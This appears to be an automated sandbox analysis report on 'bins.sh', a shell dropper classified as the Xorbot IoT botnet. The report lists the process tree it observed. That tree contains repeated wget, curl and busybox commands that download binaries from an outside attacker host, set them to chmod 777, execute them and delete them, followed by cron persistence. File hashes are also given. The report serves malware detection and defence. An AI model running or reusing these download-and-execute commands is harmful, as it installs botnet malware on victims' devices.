Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240611-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    12/12/2024, 04:17

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    71fd894e884df75bb8af4b31af4f2452

  • SHA1

    17fcf1f0350d13101be46bf84ddca6f806a2d69d

  • SHA256

    057d45e6e805aac585c6a33067ba0a4ca42858f2fdb7ad97958a55fd645b7175

  • SHA512

    ae95231c5087378d2554f145726cd2cd5d130d3126ced8d784def1460c9b5310047b659ff21ad1624e5da11952680f7588830fe6e8b58a77901694266e935daf

  • SSDEEP

    96:YwswcL5Rh8Xq8pVLddQLeOEyKai6UrL3LqkLswT2mgqcgNRnR7RgvHpUA89iJhpI:bcs4uqkDRdgvHpEmRdgvHknoD

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1012) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:704
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:710
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:712
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:735
        • /bin/chmod
          chmod 777 106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          ./106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
          • Executes dropped EXE
          PID:738
        • /bin/rm
          rm 106inj9otR6duJgzKsGjhlWrN32ycrwJJc
          2⤵
            PID:740
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:741
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:744
          • /bin/chmod
            chmod 777 6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • File and Directory Permissions Modification
            PID:745
          • /tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            ./6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
            • Executes dropped EXE
            PID:746
          • /bin/rm
            rm 6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m
            2⤵
              PID:748
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:749
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:750
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:752
            • /bin/chmod
              chmod 777 FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • File and Directory Permissions Modification
              PID:753
            • /tmp/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              ./FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
              • Executes dropped EXE
              PID:754
            • /bin/rm
              rm FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN
              2⤵
                PID:756
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:757
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:770
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:780
              • /bin/chmod
                chmod 777 rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • File and Directory Permissions Modification
                PID:783
              • /tmp/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                ./rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                • Executes dropped EXE
                PID:785
              • /bin/rm
                rm rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX
                2⤵
                  PID:788
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:789
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:797
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:811
                • /bin/chmod
                  chmod 777 ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                  2⤵
                  • File and Directory Permissions Modification
                  PID:818
                • /tmp/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                  ./ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                  2⤵
                  • Executes dropped EXE
                  PID:819
                • /bin/rm
                  rm ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE
                  2⤵
                    PID:822
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:823
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:825
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:827
                  • /bin/chmod
                    chmod 777 IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                    2⤵
                    • File and Directory Permissions Modification
                    PID:828
                  • /tmp/IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                    ./IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                    2⤵
                    • Executes dropped EXE
                    PID:829
                  • /bin/rm
                    rm IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9
                    2⤵
                      PID:831
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:832
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:833
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:835
                    • /bin/chmod
                      chmod 777 pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs
                      2⤵
                      • File and Directory Permissions Modification
                      PID:836
                    • /tmp/pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs
                      ./pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs
                      2⤵
                      • Executes dropped EXE
                      PID:837
                    • /bin/rm
                      rm pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs
                      2⤵
                        PID:839
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:840
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:841
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:849
                      • /bin/chmod
                        chmod 777 8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY
                        2⤵
                        • File and Directory Permissions Modification
                        PID:852
                      • /tmp/8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY
                        ./8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY
                        2⤵
                        • Executes dropped EXE
                        PID:853
                      • /bin/rm
                        rm 8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY
                        2⤵
                          PID:857
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/Whliik4R4WvF4JoOovJfXVYVSruELJpizz
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:858
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/Whliik4R4WvF4JoOovJfXVYVSruELJpizz
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:865
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/Whliik4R4WvF4JoOovJfXVYVSruELJpizz
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:874
                        • /bin/chmod
                          chmod 777 Whliik4R4WvF4JoOovJfXVYVSruELJpizz
                          2⤵
                          • File and Directory Permissions Modification
                          PID:878
                        • /tmp/Whliik4R4WvF4JoOovJfXVYVSruELJpizz
                          ./Whliik4R4WvF4JoOovJfXVYVSruELJpizz
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:879
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:881
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                • Reads runtime system information
                                PID:883
                            • /bin/sh
                              sh -c "crontab -"
                              3⤵
                                PID:885
                                • /usr/bin/crontab
                                  crontab -
                                  4⤵
                                  • Creates/modifies Cron job
                                  PID:886
                            • /bin/rm
                              rm Whliik4R4WvF4JoOovJfXVYVSruELJpizz
                              2⤵
                                PID:889
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/nr1cjdwhecwt6NtKEkKTfcN2DYfnRjKgMD
                                2⤵
                                • System Network Configuration Discovery
                                PID:893

                            Network

                            MITRE ATT&CK Enterprise v15

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            • /tmp/106inj9otR6duJgzKsGjhlWrN32ycrwJJc

                              Filesize

                              177KB

                              MD5

                              786d75a158fe731feca3880f436082c0

                              SHA1

                              79ea2734e43d00cdeabed5586b2c1994d02aef3e

                              SHA256

                              5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                              SHA512

                              7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                            • /tmp/6fEF673nXB3B9UcPmKLMtRTHA9kUMpKK8m

                              Filesize

                              112KB

                              MD5

                              05d7857dcead18bbd86d2935f591873c

                              SHA1

                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                              SHA256

                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                              SHA512

                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                            • /tmp/8lhxItb07laNhekKrxLXPs0wtKKcaf5lXY

                              Filesize

                              119KB

                              MD5

                              1b166b95f9cb4b079ef1b9ec8363ddf3

                              SHA1

                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                              SHA256

                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                              SHA512

                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                            • /tmp/FjIOPnpIyWUyqV4nUByTZM2AJWokNLYxoN

                              Filesize

                              127KB

                              MD5

                              89077b7bd4bcafca7713be43635c4862

                              SHA1

                              fc02edb8fba29ea8ee99e6157ef8560334530052

                              SHA256

                              78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                              SHA512

                              1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                            • /tmp/IYFY590GATM52FC4eDEk6yKpbXvQ5RyRl9

                              Filesize

                              98KB

                              MD5

                              5141342d0df8699fa32a6b066a0c592e

                              SHA1

                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                              SHA256

                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                              SHA512

                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                            • /tmp/Whliik4R4WvF4JoOovJfXVYVSruELJpizz

                              Filesize

                              151KB

                              MD5

                              3c90d5820bddcf7c5d1bd21dfa49d958

                              SHA1

                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                              SHA256

                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                              SHA512

                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                            • /tmp/pkKaQFgbFd2PXo0CdmSWaWpdvULZaRqdQs

                              Filesize

                              141KB

                              MD5

                              3ca8decdb1e52c423c521bfff02ac200

                              SHA1

                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                              SHA256

                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                              SHA512

                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                            • /tmp/rNLUo7R9eWej8T29PQl2B4uaFc8H9vPEPX

                              Filesize

                              151KB

                              MD5

                              6c583043d91c55aa470c08c87058e917

                              SHA1

                              abf65a5b9bba69980278ad09356e53de8bb89439

                              SHA256

                              2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                              SHA512

                              82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                            • /tmp/ynTSyHi7YhtyTS4l4XcGGMxkas0LxAFLNE

                              Filesize

                              111KB

                              MD5

                              701e7a55a4f3650f5feee92a9860e5fc

                              SHA1

                              6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                              SHA256

                              ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                              SHA512

                              7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                            • /var/spool/cron/crontabs/tmp.xXgbjb

                              Filesize

                              210B

                              MD5

                              2d0b1cec37154c980a1e8f812e425f4f

                              SHA1

                              3c93c34e2bff65c581bd4c32b1f825269473b812

                              SHA256

                              69d3bb6822b2e29b51926083e3d68c7fd3d181945ee9a8e968b03a71c9623444

                              SHA512

                              81b73af0f135ba90609c7aadf1c8802d7ee52866439ffb356c74a3a80eeced9edc89dc882534532327eb415c9bcdfc706e1d3f6bed0f5bc1ff1a00da4e330196